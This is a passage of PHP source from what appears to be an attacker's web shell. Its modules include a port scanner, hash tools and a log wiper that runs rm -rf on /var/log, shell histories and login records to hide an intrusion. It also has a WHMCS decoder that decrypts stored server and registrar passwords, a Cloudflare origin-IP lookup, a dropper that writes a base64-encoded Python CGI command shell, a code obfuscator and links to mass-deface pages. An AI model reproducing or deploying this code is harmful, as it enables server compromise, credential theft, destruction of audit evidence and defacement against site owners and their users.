elseif(isset($_GET['x']) && ($_GET['x'] == 'port-sc'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
<?php
echo '<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>';
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
}else{
echo '<table class=tabnet style="width:300px;padding:0 1px;">
<input type="hidden" name="y" value="phptools">
<tr><th colspan="5">Port Scanner</th></center></tr>
<tr>
<td>Host</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="host" value="localhost"/></td>
</tr>
<tr>
<td>Port start</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="start" value="0"/></td>
</tr>
<tr><td>Port end</td>
<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="end" value="5000"/></td>
</tr><td><input class="inputzbut" type="submit" style="color:#00ff00" value="Scan Ports" />
</td></form></center></table>';
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
{
$submit= $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4",$pass);
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256",$text);
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2">Password Hash</th></center></tr>';
echo '<tr><td><b>masukan kata yang ingin di encrypt:</b></td>';
echo '<td><input class="inputz" type="text" name="password" size="40" />';
echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
echo '</td></tr><br>';
echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dellogs')){
echo '<br><br><center><div class="mybox"><h2>DELETE LOGS</h2><center>';
//exec function madafuck !
echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";
exec("rm -rf /tmp/logs");
exec("rm -rf /root/.ksh_history");
exec("rm -rf /root/.bash_history");
exec("rm -rf /root/.bash_logout");
exec("rm -rf /usr/local/apache/logs");
exec("rm -rf /usr/local/apache/log");
exec("rm -rf /var/apache/logs");
exec("rm -rf /var/apache/log");
exec("rm -rf /var/run/utmp");
exec("rm -rf /var/logs");
exec("rm -rf /var/log");
exec("rm -rf /var/adm");
exec("rm -rf /etc/wtmp");
exec("rm -rf /etc/utmp");
exec("rm -rf $HISTFILE");
exec("rm -rf /var/log/lastlog");
exec("rm -rf /var/log/wtmp");
//shell_exec function madafuck !
shell_exec("rm -rf /tmp/logs");
shell_exec("rm -rf /root/.ksh_history");
shell_exec("rm -rf /root/.bash_history");
shell_exec("rm -rf /root/.bash_logout");
shell_exec("rm -rf /usr/local/apache/logs");
shell_exec("rm -rf /usr/local/apache/log");
shell_exec("rm -rf /var/apache/logs");
shell_exec("rm -rf /var/apache/log");
shell_exec("rm -rf /var/run/utmp");
shell_exec("rm -rf /var/logs");
shell_exec("rm -rf /var/log");
shell_exec("rm -rf /var/adm");
shell_exec("rm -rf /etc/wtmp");
shell_exec("rm -rf /etc/utmp");
shell_exec("rm -rf $HISTFILE");
shell_exec("rm -rf /var/log/lastlog");
shell_exec("rm -rf /var/log/wtmp");
//passthru function madafuck !
passthru("rm -rf /tmp/logs");
passthru("rm -rf /root/.ksh_history");
passthru("rm -rf /root/.bash_history");
passthru("rm -rf /root/.bash_logout");
passthru("rm -rf /usr/local/apache/logs");
passthru("rm -rf /usr/local/apache/log");
passthru("rm -rf /var/apache/logs");
passthru("rm -rf /var/apache/log");
passthru("rm -rf /var/run/utmp");
passthru("rm -rf /var/logs");
passthru("rm -rf /var/log");
passthru("rm -rf /var/adm");
passthru("rm -rf /etc/wtmp");
passthru("rm -rf /etc/utmp");
passthru("rm -rf $HISTFILE");
passthru("rm -rf /var/log/lastlog");
passthru("rm -rf /var/log/wtmp");
//Let the Mother of Functions To Complete The Task wkwkwkw xD!
system("rm -rf /tmp/logs");
sleep(2);
echo'<font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Deleted [+].../tmp/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif>';
sleep(2);
system("rm -rf /root/.bash_history");
sleep(2);
echo'<p>Deleted [+].../root/.bash_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /root/.ksh_history");
sleep(2);
echo'<p>Deleted [+].../root/.ksh_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /root/.bash_logout");
sleep(2);
echo'<p>Deleted [+].../root/.bash_logout <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /usr/local/apache/logs");
sleep(2);
echo'<p>Deleted [+].../usr/local/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /usr/local/apache/log");
sleep(2);
echo'<p>Deleted [+].../usr/local/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/apache/logs");
sleep(2);
echo'<p>Deleted [+].../var/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/apache/log");
sleep(2);
echo'<p>Deleted [+].../var/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/run/utmp");
sleep(2);
echo'<p>Deleted [+].../var/run/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/logs");
sleep(2);
echo'<p>Deleted [+].../var/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/log");
sleep(2);
echo'<p>Deleted [+].../var/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/adm");
sleep(2);
echo'<p>Deleted [+].../var/adm <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /etc/wtmp");
sleep(2);
echo'<p>Deleted [+].../etc/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /etc/utmp");
sleep(2);
echo'<p>Deleted [+].../etc/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf $HISTFILE");
sleep(2);
echo'<p>Deleted [+]...$HISTFILE <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/log/lastlog");
sleep(2);
echo'<p>Deleted [+].../var/log/lastlog <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
system("rm -rf /var/log/wtmp");
sleep(2);
echo'<p>Deleted [+].../var/log/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';
sleep(4);
echo '</font><br><h2 style="font-size:10pt;color:#EB00FF;text-align: center;font-family:orbitron;text-shadow: 6px 6px 6px black;">Your Traces Has Been Successfully Delete From the Server</h2>';
echo"</td></tr></table><br></div>";
}
///////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whmcs" method="post">
<?php
function decrypt ($string,$cc_encryption_hash)
{
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash ($key);
$hash_length = strlen ($hash_key);
$string = base64_decode ($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash ($string)
{
if (function_exists ('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
echo "
<br><center><font size='5' color='#00ff00'><b>-=[ WHMCS Decoder ]=-</b></font></center>
<center>
<br>
<FORM action='' method='post'>
<input type='hidden' name='form_action' value='2'>
<br>
<table class=tabnet style=width:320px;padding:0 1px;>
<tr><th colspan=2>WHMCS Decoder</th></tr>
<tr><td>db_host </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
<tr><td>db_username </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
<tr><td>db_password</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
<tr><td>db_name</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
<tr><td>cc_encryption_hash</td><td><input style='color:#00ff00;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
<td> <INPUT class='inputzbut' type='submit' style='color:#00ff00;background-color:' value='Submit' name='Submit'></td>
</table>
</FORM>
</center>
";
if($_POST['form_action'] == 2 )
{
//include($file);
$db_host=($_POST['db_host']);
$db_username=($_POST['db_username']);
$db_password=($_POST['db_password']);
$db_name=($_POST['db_name']);
$cc_encryption_hash=($_POST['cc_encryption_hash']);
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");
echo "</table><br><br></center>";
}
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt ($v['value'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass-cf'))
{
echo '
<form method="POST"><br><br>
<center><p align="center" dir="ltr"><b><font size="5" face="Tahoma">+--=[ Bypass
<font color="#CC0000">CloudFlare</font> ]=--+</font></b></p>
<select class="inputz" name="krz">
<option>ftp</option>
<option>direct-conntect</option>
<option>webmail</option>
<option>cpanel</option>
</select>
<input class="inputz" type="text" name="target" value="url">
<input class="inputzbut" type="submit" value="Bypass"></center>
';
$target = $_POST['target'];
# Bypass From FTP
if($_POST['krz'] == "ftp") {
$ftp = gethostbyname("ftp."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
}
# Bypass From Direct-Connect
if($_POST['krz'] == "direct-conntect") {
$direct = gethostbyname("direct-connect."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
}
# Bypass From Webmail
if($_POST['krz'] == "webmail") {
$web = gethostbyname("webmail."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
}
# Bypass From Cpanel
if($_POST['krz'] == "cpanel") {
$cpanel = gethostbyname("cpanel."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
}
}
//////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hashid')) {
if(isset($_POST['gethash'])){
$hash = $_POST['hash'];
if(strlen($hash)==32){
$hashresult = "MD5 Hash";
}elseif(strlen($hash)==40){
$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
}elseif(strlen($hash)==13){
$hashresult = "DES(Unix) Hash";
}elseif(strlen($hash)==16){
$hashresult = "MySQL Hash / /DES(Oracle Hash)";
}elseif(strlen($hash)==41){
$GetHashChar = substr($hash, 40);
if($GetHashChar == "*"){
$hashresult = "MySQL5 Hash";
}
}elseif(strlen($hash)==64){
$hashresult = "SHA-256 Hash";
}elseif(strlen($hash)==96){
$hashresult = "SHA-384 Hash";
}elseif(strlen($hash)==128){
$hashresult = "SHA-512 Hash";
}elseif(strlen($hash)==34){
if(strstr($hash, '$1$')){
$hashresult = "MD5(Unix) Hash";
}
}elseif(strlen($hash)==37){
if(strstr($hash, '$apr1$')){
$hashresult = "MD5(APR) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$H$')){
$hashresult = "MD5(phpBB3) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$P$')){
$hashresult = "MD5(Wordpress) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$5$')){
$hashresult = "SHA-256(Unix) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$6$')){
$hashresult = "SHA-512(Unix) Hash";
}
}elseif(strlen($hash)==24){
if(strstr($hash, '==')){
$hashresult = "MD5(Base-64) Hash";
}
}else{
$hashresult = "Hash type not found";
}
}else{
$hashresult = "Not Hash Entered";
}
?>
</center>
<form action="" method="POST">
<tr>
<table class="tabnet">
<th colspan="5">Hash Identification</th>
<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr>
</table></tr></form>
<?php
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'python')) {
echo "<center/><br/><b>
+--==[ python Bypass Exploit ]==--+
</b><br><br>";
mkdir('python', 0755);
chdir('python');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
$file = fopen("python.izo" ,"w+");
$write = fwrite ($file ,base64_decode($pythonp));
fclose($file);
chmod("python.izo",0755);
echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>
</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){
$text = $_POST['code'];
?><center><br>
<br><b>+--=[ Script Encode & Decode ]=--+</b><br><br>
<form method="post"><br><br><br>
<textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
<select class='inputz' size="1" name="ope">
<option value="base64">Base64</option>
<option value="super">str_rot13 - gzinflate - str_rot13 - base64 - gzinflate - str_rot13 - base64</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="base6416x">Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64</option>
<option value="coeg">gzinflate - base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
</select> <input class='inputzbut' type='submit' name='submit' value='Encrypt'>
<input class='inputzbut' type='submit' name='submits' value='Decrypt'>
</form>
<?php
$submit = $_POST['submit'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_encode($text);
break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;case 'coeg' : $codi=base64_encode(gzdeflate($text));
break;case 'base6416x' : $codi=base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(($text)))))))))))))))));
break;case 'super' : $codi=base64_encode(str_rot13(gzdeflate(base64_encode(str_rot13(gzdeflate(str_rot13($text)))))));
break;default:break;}}
$submit = $_POST['submits'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_decode($text);
break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
break;case 'coeg' : $codi=gzinflate(base64_decode($text));
break;case 'base6416x' : $codi=base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(($text)))))))))))))))));
break;case 'super' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(gzinflate(str_rot13(base64_decode($text)))))));
break;default:break;}}
$myfile = fopen("black.txt", "w") or die("Unable to open file!");
fwrite($myfile, $codi);
fclose($myfile);
echo '<center><div id="menu"><br><br>
<a href="black.txt" target="blank_">Result</a></div>';
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
{
error_reporting(0);?>
<br>
<center><div id="menu" class="menu_pilih"><a href="?<?php echo "y=".$pwd; ?>&x=sabun">Sabun Massal</a> <a href="?<?php echo "y=".$pwd; ?>&x=massdeface2">Alternate Mass Deface</a> <a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Defac</a><br>
<center>
